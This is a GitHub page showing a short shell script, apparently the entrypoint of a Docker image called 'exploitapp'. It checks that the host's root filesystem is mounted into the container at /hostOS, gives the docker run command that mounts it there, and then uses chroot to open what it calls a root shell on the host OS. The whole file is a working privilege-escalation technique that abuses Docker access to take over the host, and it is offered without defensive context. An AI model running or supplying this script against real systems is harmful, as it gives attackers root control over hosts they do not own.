Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
30 lines (25 sloc) 675 Bytes
#
#
#
if [ ! -d "/hostOS" ]; then
echo
echo ==== ERROR ====
echo It looks like /hostOS does not exist
echo Please run this docker image with a /hostOS volume mounted to /
echo For example: docker run -v /:/hostOS -i -t exploitapp
echo
exit
fi
if [ ! -e "/hostOS/bin/sh" ]; then
echo
echo ==== ERROR ====
echo It looks like /hostOS does not contain a root filesystem
echo Please run this docker image with a /hostOS volume mounted to /
echo For example: docker run -v /:/hostOS -i -t exploitapp
echo
exit
fi
echo
echo You should now have a root shell on the host OS
echo Press Ctrl-D to exit the docker instance / shell
chroot /hostOS /bin/sh